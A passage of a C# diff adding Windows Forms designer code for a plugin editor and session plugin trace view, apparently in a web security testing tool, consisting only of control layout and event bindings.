System.Drawing.Size(127, 22); + this.PassivePluginsANToolStripMenuItem.Text = "Add New"; + this.PassivePluginsANToolStripMenuItem.Click += new System.EventHandler(this.PassivePluginsANToolStripMenuItem_Click); + // + // activePluginsToolStripMenuItem + // + this.activePluginsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.ActivePluginsRAToolStripMenuItem, + this.ActivePluginsANToolStripMenuItem}); + this.activePluginsToolStripMenuItem.Name = "activePluginsToolStripMenuItem"; + this.activePluginsToolStripMenuItem.Size = new System.Drawing.Size(213, 22); + this.activePluginsToolStripMenuItem.Text = "Active Plugins"; + // + // ActivePluginsRAToolStripMenuItem + // + this.ActivePluginsRAToolStripMenuItem.Name = "ActivePluginsRAToolStripMenuItem"; + this.ActivePluginsRAToolStripMenuItem.Size = new System.Drawing.Size(127, 22); + this.ActivePluginsRAToolStripMenuItem.Text = "Reload All"; + this.ActivePluginsRAToolStripMenuItem.Click += new System.EventHandler(this.ActivePluginsRAToolStripMenuItem_Click); + // + // ActivePluginsANToolStripMenuItem + // + this.ActivePluginsANToolStripMenuItem.Name = "ActivePluginsANToolStripMenuItem"; + this.ActivePluginsANToolStripMenuItem.Size = new System.Drawing.Size(127, 22); + this.ActivePluginsANToolStripMenuItem.Text = "Add New"; + this.ActivePluginsANToolStripMenuItem.Click += new System.EventHandler(this.ActivePluginsANToolStripMenuItem_Click); + // + // formatPluginsToolStripMenuItem + // + this.formatPluginsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.FormatPluginsRAToolStripMenuItem, + this.FormatPluginsANToolStripMenuItem}); + this.formatPluginsToolStripMenuItem.Name = "formatPluginsToolStripMenuItem"; + this.formatPluginsToolStripMenuItem.Size = new System.Drawing.Size(213, 22); + this.formatPluginsToolStripMenuItem.Text = "Format Plugins"; + // + // FormatPluginsRAToolStripMenuItem + // + this.FormatPluginsRAToolStripMenuItem.Name = "FormatPluginsRAToolStripMenuItem"; + this.FormatPluginsRAToolStripMenuItem.Size = new System.Drawing.Size(127, 22); + this.FormatPluginsRAToolStripMenuItem.Text = "Reload All"; + this.FormatPluginsRAToolStripMenuItem.Click += new System.EventHandler(this.FormatPluginsRAToolStripMenuItem_Click); + // + // FormatPluginsANToolStripMenuItem + // + this.FormatPluginsANToolStripMenuItem.Name = "FormatPluginsANToolStripMenuItem"; + this.FormatPluginsANToolStripMenuItem.Size = new System.Drawing.Size(127, 22); + this.FormatPluginsANToolStripMenuItem.Text = "Add New"; + this.FormatPluginsANToolStripMenuItem.Click += new System.EventHandler(this.FormatPluginsANToolStripMenuItem_Click); + // + // sessionPluginsToolStripMenuItem + // + this.sessionPluginsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.SessionPluginsRAToolStripMenuItem, + this.SessionPluginsANToolStripMenuItem}); + this.sessionPluginsToolStripMenuItem.Name = "sessionPluginsToolStripMenuItem"; + this.sessionPluginsToolStripMenuItem.Size = new System.Drawing.Size(213, 22); + this.sessionPluginsToolStripMenuItem.Text = "Session Plugins"; + // + // SessionPluginsRAToolStripMenuItem + // + this.SessionPluginsRAToolStripMenuItem.Name = "SessionPluginsRAToolStripMenuItem"; + this.SessionPluginsRAToolStripMenuItem.Size = new System.Drawing.Size(127, 22); + this.SessionPluginsRAToolStripMenuItem.Text = "Reload All"; + this.SessionPluginsRAToolStripMenuItem.Click += new System.EventHandler(this.SessionPluginsRAToolStripMenuItem_Click); + // + // SessionPluginsANToolStripMenuItem + // + this.SessionPluginsANToolStripMenuItem.Name = "SessionPluginsANToolStripMenuItem"; + this.SessionPluginsANToolStripMenuItem.Size = new System.Drawing.Size(127, 22); + this.SessionPluginsANToolStripMenuItem.Text = "Add New"; + this.SessionPluginsANToolStripMenuItem.Click += new System.EventHandler(this.SessionPluginsANToolStripMenuItem_Click); + // + // PluginEditorSplit + // + this.PluginEditorSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginEditorSplit.Location = new System.Drawing.Point(0, 0); + this.PluginEditorSplit.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorSplit.Name = "PluginEditorSplit"; + // + // PluginEditorSplit.Panel1 + // + this.PluginEditorSplit.Panel1.Controls.Add(this.PluginsCentreSplit); + // + // PluginEditorSplit.Panel2 + // + this.PluginEditorSplit.Panel2.Controls.Add(this.PluginEditorAPISplit); + this.PluginEditorSplit.Size = new System.Drawing.Size(570, 485); + this.PluginEditorSplit.SplitterDistance = 386; + this.PluginEditorSplit.SplitterWidth = 2; + this.PluginEditorSplit.TabIndex = 1; + // + // PluginsCentreSplit + // + this.PluginsCentreSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginsCentreSplit.Location = new System.Drawing.Point(0, 0); + this.PluginsCentreSplit.Margin = new System.Windows.Forms.Padding(0); + this.PluginsCentreSplit.Name = "PluginsCentreSplit"; + this.PluginsCentreSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // PluginsCentreSplit.Panel1 + // + this.PluginsCentreSplit.Panel1.Controls.Add(this.PluginDetailsRTB); + // + // PluginsCentreSplit.Panel2 + // + this.PluginsCentreSplit.Panel2.Controls.Add(this.PluginEditorInTE); + this.PluginsCentreSplit.Size = new System.Drawing.Size(386, 485); + this.PluginsCentreSplit.SplitterDistance = 223; + this.PluginsCentreSplit.SplitterWidth = 2; + this.PluginsCentreSplit.TabIndex = 4; + // + // PluginDetailsRTB + // + this.PluginDetailsRTB.BackColor = System.Drawing.Color.AliceBlue; + this.PluginDetailsRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.PluginDetailsRTB.DetectUrls = false; + this.PluginDetailsRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginDetailsRTB.Font = new System.Drawing.Font("Palatino Linotype", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.PluginDetailsRTB.Location = new System.Drawing.Point(0, 0); + this.PluginDetailsRTB.Name = "PluginDetailsRTB"; + this.PluginDetailsRTB.ReadOnly = true; + this.PluginDetailsRTB.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; + this.PluginDetailsRTB.Size = new System.Drawing.Size(386, 223); + this.PluginDetailsRTB.TabIndex = 1; + this.PluginDetailsRTB.Text = ""; + // + // PluginEditorInTE + // + this.PluginEditorInTE.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginEditorInTE.IsIconBarVisible = false; + this.PluginEditorInTE.Location = new System.Drawing.Point(0, 0); + this.PluginEditorInTE.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorInTE.Name = "PluginEditorInTE"; + this.PluginEditorInTE.ShowEOLMarkers = true; + this.PluginEditorInTE.ShowSpaces = true; + this.PluginEditorInTE.ShowTabs = true; + this.PluginEditorInTE.ShowVRuler = true; + this.PluginEditorInTE.Size = new System.Drawing.Size(386, 260); + this.PluginEditorInTE.TabIndex = 5; + // + // PluginEditorAPISplit + // + this.PluginEditorAPISplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginEditorAPISplit.Location = new System.Drawing.Point(0, 0); + this.PluginEditorAPISplit.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorAPISplit.Name = "PluginEditorAPISplit"; + this.PluginEditorAPISplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // PluginEditorAPISplit.Panel1 + // + this.PluginEditorAPISplit.Panel1.Controls.Add(this.PluginEditorAPITreeTabs); + // + // PluginEditorAPISplit.Panel2 + // + this.PluginEditorAPISplit.Panel2.Controls.Add(this.PluginEditorAPIDetailsRTB); + this.PluginEditorAPISplit.Size = new System.Drawing.Size(182, 485); + this.PluginEditorAPISplit.SplitterDistance = 223; + this.PluginEditorAPISplit.SplitterWidth = 2; + this.PluginEditorAPISplit.TabIndex = 1; + // + // PluginEditorAPITreeTabs + // + this.PluginEditorAPITreeTabs.Controls.Add(this.PluginEditorPythonAPITreeTab); + this.PluginEditorAPITreeTabs.Controls.Add(this.PluginEditorRubyAPITreeTab); + this.PluginEditorAPITreeTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginEditorAPITreeTabs.Location = new System.Drawing.Point(0, 0); + this.PluginEditorAPITreeTabs.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorAPITreeTabs.Name = "PluginEditorAPITreeTabs"; + this.PluginEditorAPITreeTabs.Padding = new System.Drawing.Point(0, 0); + this.PluginEditorAPITreeTabs.SelectedIndex = 0; + this.PluginEditorAPITreeTabs.Size = new System.Drawing.Size(182, 223); + this.PluginEditorAPITreeTabs.TabIndex = 0; + // + // PluginEditorPythonAPITreeTab + // + this.PluginEditorPythonAPITreeTab.Controls.Add(this.PluginEditorPythonAPITree); + this.PluginEditorPythonAPITreeTab.Location = new System.Drawing.Point(4, 22); + this.PluginEditorPythonAPITreeTab.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorPythonAPITreeTab.Name = "PluginEditorPythonAPITreeTab"; + this.PluginEditorPythonAPITreeTab.Size = new System.Drawing.Size(174, 197); + this.PluginEditorPythonAPITreeTab.TabIndex = 0; + this.PluginEditorPythonAPITreeTab.Text = "Python"; + this.PluginEditorPythonAPITreeTab.UseVisualStyleBackColor = true; + // + // PluginEditorPythonAPITree + // + this.PluginEditorPythonAPITree.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.PluginEditorPythonAPITree.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginEditorPythonAPITree.Location = new System.Drawing.Point(0, 0); + this.PluginEditorPythonAPITree.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorPythonAPITree.Name = "PluginEditorPythonAPITree"; + this.PluginEditorPythonAPITree.Size = new System.Drawing.Size(174, 197); + this.PluginEditorPythonAPITree.TabIndex = 0; + this.PluginEditorPythonAPITree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.PluginEditorPythonAPITree_AfterSelect); + // + // PluginEditorRubyAPITreeTab + // + this.PluginEditorRubyAPITreeTab.Controls.Add(this.PluginEditorRubyAPITree); + this.PluginEditorRubyAPITreeTab.Location = new System.Drawing.Point(4, 22); + this.PluginEditorRubyAPITreeTab.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorRubyAPITreeTab.Name = "PluginEditorRubyAPITreeTab"; + this.PluginEditorRubyAPITreeTab.Size = new System.Drawing.Size(174, 197); + this.PluginEditorRubyAPITreeTab.TabIndex = 1; + this.PluginEditorRubyAPITreeTab.Text = "Ruby"; + this.PluginEditorRubyAPITreeTab.UseVisualStyleBackColor = true; + // + // PluginEditorRubyAPITree + // + this.PluginEditorRubyAPITree.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.PluginEditorRubyAPITree.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginEditorRubyAPITree.Location = new System.Drawing.Point(0, 0); + this.PluginEditorRubyAPITree.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorRubyAPITree.Name = "PluginEditorRubyAPITree"; + this.PluginEditorRubyAPITree.Size = new System.Drawing.Size(174, 197); + this.PluginEditorRubyAPITree.TabIndex = 1; + this.PluginEditorRubyAPITree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.PluginEditorRubyAPITree_AfterSelect); + // + // PluginEditorAPIDetailsRTB + // + this.PluginEditorAPIDetailsRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginEditorAPIDetailsRTB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.PluginEditorAPIDetailsRTB.Location = new System.Drawing.Point(0, 0); + this.PluginEditorAPIDetailsRTB.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorAPIDetailsRTB.Name = "PluginEditorAPIDetailsRTB"; + this.PluginEditorAPIDetailsRTB.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; + this.PluginEditorAPIDetailsRTB.Size = new System.Drawing.Size(182, 260); + this.PluginEditorAPIDetailsRTB.TabIndex = 0; + this.PluginEditorAPIDetailsRTB.Text = ""; + // + // DevTraceTab + // + this.DevTraceTab.Controls.Add(this.TraceMainTabs); + this.DevTraceTab.Location = new System.Drawing.Point(4, 22); + this.DevTraceTab.Margin = new System.Windows.Forms.Padding(0); + this.DevTraceTab.Name = "DevTraceTab"; + this.DevTraceTab.Size = new System.Drawing.Size(697, 485); + this.DevTraceTab.TabIndex = 1; + this.DevTraceTab.Text = " Trace "; + this.DevTraceTab.UseVisualStyleBackColor = true; + // + // TraceMainTabs + // + this.TraceMainTabs.Controls.Add(this.SessionPluginTraceTab); + this.TraceMainTabs.Controls.Add(this.DebugTraceTab); + this.TraceMainTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.TraceMainTabs.Location = new System.Drawing.Point(0, 0); + this.TraceMainTabs.Margin = new System.Windows.Forms.Padding(0); + this.TraceMainTabs.Name = "TraceMainTabs"; + this.TraceMainTabs.Padding = new System.Drawing.Point(0, 0); + this.TraceMainTabs.SelectedIndex = 0; + this.TraceMainTabs.Size = new System.Drawing.Size(697, 485); + this.TraceMainTabs.TabIndex = 2; + // + // SessionPluginTraceTab + // + this.SessionPluginTraceTab.Controls.Add(this.SessionPluginTraceBaseSplit); + this.SessionPluginTraceTab.Location = new System.Drawing.Point(4, 22); + this.SessionPluginTraceTab.Margin = new System.Windows.Forms.Padding(0); + this.SessionPluginTraceTab.Name = "SessionPluginTraceTab"; + this.SessionPluginTraceTab.Size = new System.Drawing.Size(689, 459); + this.SessionPluginTraceTab.TabIndex = 1; + this.SessionPluginTraceTab.Text = " Session Plugin Trace "; + this.SessionPluginTraceTab.UseVisualStyleBackColor = true; + // + // SessionPluginTraceBaseSplit + // + this.SessionPluginTraceBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.SessionPluginTraceBaseSplit.Location = new System.Drawing.Point(0, 0); + this.SessionPluginTraceBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.SessionPluginTraceBaseSplit.Name = "SessionPluginTraceBaseSplit"; + this.SessionPluginTraceBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // SessionPluginTraceBaseSplit.Panel1 + // + this.SessionPluginTraceBaseSplit.Panel1.Controls.Add(this.SessionPluginTraceGrid); + // + // SessionPluginTraceBaseSplit.Panel2 + // + this.SessionPluginTraceBaseSplit.Panel2.Controls.Add(this.SessionPluginTraceBottomTabs); + this.SessionPluginTraceBaseSplit.Size = new System.Drawing.Size(689, 459); + this.SessionPluginTraceBaseSplit.SplitterDistance = 228; + this.SessionPluginTraceBaseSplit.SplitterWidth = 2; + this.SessionPluginTraceBaseSplit.TabIndex = 0; + // + // SessionPluginTraceGrid + // + this.SessionPluginTraceGrid.AllowUserToAddRows = false; + this.SessionPluginTraceGrid.AllowUserToDeleteRows = false; + this.SessionPluginTraceGrid.AllowUserToOrderColumns = true; + this.SessionPluginTraceGrid.AllowUserToResizeRows = false; + this.SessionPluginTraceGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.SessionPluginTraceGrid.BackgroundColor = System.Drawing.Color.White; + this.SessionPluginTraceGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle46.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle46.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle46.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle46.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle46.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle46.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle46.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.SessionPluginTraceGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle46; + this.SessionPluginTraceGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.SessionPluginTraceGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.SessionPluginTraceIdClmn, + this.SessionPluginTraceLogIdClmn, + this.SessionPluginTraceLogSourceClmn, + this.SessionPluginTracePluginNameClmn, + this.SessionPluginTraceActionClmn, + this.SessionPluginTraceMessageClmn}); + this.SessionPluginTraceGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.SessionPluginTraceGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.SessionPluginTraceGrid.GridColor = System.Drawing.Color.White; + this.SessionPluginTraceGrid.Location = new System.Drawing.Point(0, 0); + this.SessionPluginTraceGrid.Margin = new System.Windows.Forms.Padding(0); + this.SessionPluginTraceGrid.MultiSelect = false; + this.SessionPluginTraceGrid.Name = "SessionPluginTraceGrid"; + this.SessionPluginTraceGrid.ReadOnly = true; + this.SessionPluginTraceGrid.RowHeadersVisible = false; + this.SessionPluginTraceGrid.RowHeadersWidth = 10; + this.SessionPluginTraceGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.SessionPluginTraceGrid.Size = new System.Drawing.Size(689, 228); + this.SessionPluginTraceGrid.TabIndex = 10; + this.SessionPluginTraceGrid.SelectionChanged += new System.EventHandler(this.SessionPluginTraceGrid_SelectionChanged); + // + // SessionPluginTraceIdClmn + // + this.SessionPluginTraceIdClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SessionPluginTraceIdClmn.HeaderText = "ID"; + this.SessionPluginTraceIdClmn.MinimumWidth = 30; + this.SessionPluginTraceIdClmn.Name = "SessionPluginTraceIdClmn"; + this.SessionPluginTraceIdClmn.ReadOnly = true; + this.SessionPluginTraceIdClmn.Width = 30; + // + // SessionPluginTraceLogIdClmn + // + this.SessionPluginTraceLogIdClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SessionPluginTraceLogIdClmn.HeaderText = "Log ID"; + this.SessionPluginTraceLogIdClmn.MinimumWidth = 2; + this.SessionPluginTraceLogIdClmn.Name = "SessionPluginTraceLogIdClmn"; + this.SessionPluginTraceLogIdClmn.ReadOnly = true; + this.SessionPluginTraceLogIdClmn.Visible = false; + this.SessionPluginTraceLogIdClmn.Width = 2; + // + // SessionPluginTraceLogSourceClmn + // + this.SessionPluginTraceLogSourceClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SessionPluginTraceLogSourceClmn.HeaderText = "Log Source"; + this.SessionPluginTraceLogSourceClmn.MinimumWidth = 2; + this.SessionPluginTraceLogSourceClmn.Name = "SessionPluginTraceLogSourceClmn"; + this.SessionPluginTraceLogSourceClmn.ReadOnly = true; + this.SessionPluginTraceLogSourceClmn.Visible = false; + this.SessionPluginTraceLogSourceClmn.Width = 2; + // + // SessionPluginTracePluginNameClmn + // + this.SessionPluginTracePluginNameClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + dataGridViewCellStyle47.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.SessionPluginTracePluginNameClmn.DefaultCellStyle = dataGridViewCellStyle47; + this.SessionPluginTracePluginNameClmn.HeaderText = "Session Plugin Name"; + this.SessionPluginTracePluginNameClmn.MinimumWidth = 100; + this.SessionPluginTracePluginNameClmn.Name = "SessionPluginTracePluginNameClmn"; + this.SessionPluginTracePluginNameClmn.ReadOnly = true; + this.SessionPluginTracePluginNameClmn.Width = 150; + // + // SessionPluginTraceActionClmn + // + this.SessionPluginTraceActionClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + dataGridViewCellStyle48.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.SessionPluginTraceActionClmn.DefaultCellStyle = dataGridViewCellStyle48; + this.SessionPluginTraceActionClmn.HeaderText = "Action"; + this.SessionPluginTraceActionClmn.MinimumWidth = 80; + this.SessionPluginTraceActionClmn.Name = "SessionPluginTraceActionClmn"; + this.SessionPluginTraceActionClmn.ReadOnly = true; + // + // SessionPluginTraceMessageClmn + // + this.SessionPluginTraceMessageClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + dataGridViewCellStyle49.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.SessionPluginTraceMessageClmn.DefaultCellStyle = dataGridViewCellStyle49; + this.SessionPluginTraceMessageClmn.HeaderText = "Message"; + this.SessionPluginTraceMessageClmn.MinimumWidth = 2; + this.SessionPluginTraceMessageClmn.Name = "SessionPluginTraceMessageClmn"; + this.SessionPluginTraceMessageClmn.ReadOnly = true; + this.SessionPluginTraceMessageClmn.Visible = false; + this.SessionPluginTraceMessageClmn.Width = 2; + // + // SessionPluginTraceBottomTabs + // + this.SessionPluginTraceBottomTabs.Controls.Add(this.SessionPluginTraceMessageTab); + this.SessionPluginTraceBottomTabs.Controls.Add(this.SessionPluginTraceLogViewTab); + this.SessionPluginTraceBottomTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.SessionPluginTraceBottomTabs.Location = new System.Drawing.Point(0, 0); + this.SessionPluginTraceBottomTabs.Margin = new System.Windows.Forms.Padding(0); + this.SessionPluginTraceBottomTabs.Name = "SessionPluginTraceBottomTabs"; + this.SessionPluginTraceBottomTabs.Padding = new System.Drawing.Point(0, 0); + this.SessionPluginTraceBottomTabs.SelectedIndex = 0; + this.SessionPluginTraceBottomTabs.Size = new System.Drawing.Size(689, 229); + this.SessionPluginTraceBottomTabs.TabIndex = 2; + // + // SessionPluginTraceMessageTab + // + this.SessionPluginTraceMessageTab.Controls.Add(this.SessionPluginTraceMsgBaseSplit); + this.SessionPluginTraceMessageTab.Location = new System.Drawing.Point(4, 22); + this.SessionPluginTraceMessageTab.Margin = new System.Windows.Forms.Padding(0); + this.SessionPluginTraceMessageTab.Name = "SessionPluginTraceMessageTab"; + this.SessionPluginTraceMessageTab.Size = new System.Drawing.Size(681, 203); + this.SessionPluginTraceMessageTab.TabIndex = 0; + this.SessionPluginTraceMessageTab.Text = "Trace Message"; + this.SessionPluginTraceMessageTab.UseVisualStyleBackColor = true; + // + // SessionPluginTraceMsgBaseSplit + // + this.SessionPluginTraceMsgBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.SessionPluginTraceMsgBaseSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.SessionPluginTraceMsgBaseSplit.IsSplitterFixed = true; + this.SessionPluginTraceMsgBaseSplit.Location = new System.Drawing.Point(0, 0); + this.SessionPluginTraceMsgBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.SessionPluginTraceMsgBaseSplit.Name = "SessionPluginTraceMsgBaseSplit"; + this.SessionPluginTraceMsgBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // SessionPluginTraceMsgBaseSplit.Panel1 + // + this.SessionPluginTraceMsgBaseSplit.Panel1.BackColor = System.Drawing.Color.White; + this.SessionPluginTraceMsgBaseSplit.Panel1.Controls.Add(this.SessionPluginTraceLoadLogBtn); + this.SessionPluginTraceMsgBaseSplit.Panel1.Controls.Add(this.textBox4); + // + // SessionPluginTraceMsgBaseSplit.Panel2 + // + this.SessionPluginTraceMsgBaseSplit.Panel2.Controls.Add(this.SessionPluginTraceMsgRTB); + this.SessionPluginTraceMsgBaseSplit.Size = new System.Drawing.Size(681, 203); + this.SessionPluginTraceMsgBaseSplit.SplitterDistance = 46; + this.SessionPluginTraceMsgBaseSplit.SplitterWidth = 2; + this.SessionPluginTraceMsgBaseSplit.TabIndex = 2; + // + // SessionPluginTraceLoadLogBtn + // + this.SessionPluginTraceLoadLogBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.SessionPluginTraceLoadLogBtn.Enabled = false; + this.SessionPluginTraceLoadLogBtn.Location = new System.Drawing.Point(515, 5); + this.SessionPluginTraceLoadLogBtn.Name = "SessionPluginTraceLoadLogBtn"; + this.SessionPluginTraceLoadLogBtn.Size = new System.Drawing.Size(161, 36); + this.SessionPluginTraceLoadLogBtn.TabIndex = 1; + this.SessionPluginTraceLoadLogBtn.Text = "Load Assosiated Request/Response"; + this.SessionPluginTraceLoadLogBtn.UseVisualStyleBackColor = true; + this.SessionPluginTraceLoadLogBtn.Click += new System.EventHandler(this.SessionPluginTraceLoadLogBtn_Click); + // + // textBox4 + // + this.textBox4.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox4.BackColor = System.Drawing.Color.White; + this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox4.Location = new System.Drawing.Point(0, 3); + this.textBox4.Multiline = true; + this.textBox4.Name = "textBox4"; + this.textBox4.ReadOnly = true; + this.textBox4.Size = new System.Drawing.Size(509, 40); + this.textBox4.TabIndex = 0; + this.textBox4.TabStop = false; + this.textBox4.Text = resources.GetString("textBox4.Text"); + // + // SessionPluginTraceMsgRTB + // + this.SessionPluginTraceMsgRTB.BackColor = System.Drawing.Color.White; + this.SessionPluginTraceMsgRTB.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.SessionPluginTraceMsgRTB.DetectUrls = false; + this.SessionPluginTraceMsgRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.SessionPluginTraceMsgRTB.Location = new System.Drawing.Point(0, 0); + this.SessionPluginTraceMsgRTB.Margin = new System.Windows.Forms.Padding(0); + this.SessionPluginTraceMsgRTB.Name = "SessionPluginTraceMsgRTB"; + this.SessionPluginTraceMsgRTB.ReadOnly = true; + this.SessionPluginTraceMsgRTB.Size = new System.Drawing.Size(681, 155); + this.SessionPluginTraceMsgRTB.TabIndex = 1; + this.SessionPluginTraceMsgRTB.Text = ""; + // + // SessionPluginTraceLogViewTab + // + this.SessionPluginTraceLogViewTab.Controls.Add(this.SessionPluginTraceLoadLogProgressBar); + this.SessionPluginTraceLogViewTab.Controls.Add(this.SessionPluginTraceSessionTabs); + this.SessionPluginTraceLogViewTab.Location = new System.Drawing.Point(4, 22); + this.SessionPluginTraceLogViewTab.Margin = new System.Windows.Forms.Padding(0); + this.SessionPluginTraceLogViewTab.Name = "SessionPluginTraceLogViewTab"; + this.SessionPluginTraceLogViewTab.Size = new System.Drawing.Size(681, 203); + this.SessionPluginTraceLogViewTab.TabIndex = 1; + this.SessionPluginTraceLogViewTab.Text = "Associated Session"; + this.SessionPluginTraceLogViewTab.UseVisualStyleBackColor = true; + // + // SessionPluginTraceLoadLogProgressBar + // + this.SessionPluginTraceLoadLogProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.SessionPluginTraceLoadLogProgressBar.Location = new System.Drawing.Point(153, 31); + this.SessionPluginTraceLoadLogProgressBar.MarqueeAnimationSpeed = 10; + this.SessionPluginTraceLoadLogProgressBar.Name = "SessionPluginTraceLoadLogProgressBar"; + this.SessionPluginTraceLoadLogProgressBar.Size = new System.Drawing.Size(393, 23); + this.SessionPluginTraceLoadLogProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.SessionPluginTraceLoadLogProgressBar.TabIndex = 34; + this.SessionPluginTraceLoadLogProgressBar.Visible = false; + // + // SessionPluginTraceSessionTabs + // + this.SessionPluginTraceSessionTabs.Controls.Add(this.tabPage12); + this.SessionPluginTraceSessionTabs.Controls.Add(this.tabPage3); + this.SessionPluginTraceSessionTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.SessionPluginTraceSessionTabs.Location = new System.Drawing.Point(0, 0); + this.SessionPluginTraceSessionTabs.Margin = new System.Windows.Forms.Padding(0); + this.SessionPluginTraceSessionTabs.Name = "SessionPluginTraceSessionTabs"; + this.SessionPluginTraceSessionTabs.Padding = new System.Drawing.Point(0, 0); + this.SessionPluginTraceSessionTabs.SelectedIndex = 0; + this.SessionPluginTraceSessionTabs.Size = new System.Drawing.Size(681, 203); + this.SessionPluginTraceSessionTabs.TabIndex = 5; + // + // tabPage12 + // + this.tabPage12.Controls.Add(this.SessionPluginTraceRequestView); + this.tabPage12.Location = new System.Drawing.Point(4, 22); + this.tabPage12.Margin = new System.Windows.Forms.Padding(0); + this.tabPage12.Name = "tabPage12"; + this.tabPage12.Size = new System.Drawing.Size(673, 177); + this.tabPage12.TabIndex = 0; + this.tabPage12.Text = "Request"; + this.tabPage12.UseVisualStyleBackColor = true; + // + // SessionPluginTraceRequestView + // + this.SessionPluginTraceRequestView.BackColor = System.Drawing.Color.White; + this.SessionPluginTraceRequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.SessionPluginTraceRequestView.Location = new System.Drawing.Point(0, 0); + this.SessionPluginTraceRequestView.Margin = new System.Windows.Forms.Padding(0); + this.SessionPluginTraceRequestView.Name = "SessionPluginTraceRequestView"; + this.SessionPluginTraceRequestView.ReadOnly = true; + this.SessionPluginTraceRequestView.Size = new System.Drawing.Size(673, 177); + this.SessionPluginTraceRequestView.TabIndex = 0; + // + // tabPage3 + // + this.tabPage3.Controls.Add(this.SessionPluginTraceResponseView); + this.tabPage3.Location = new System.Drawing.Point(4, 22); + this.tabPage3.Margin = new System.Windows.Forms.Padding(0); + 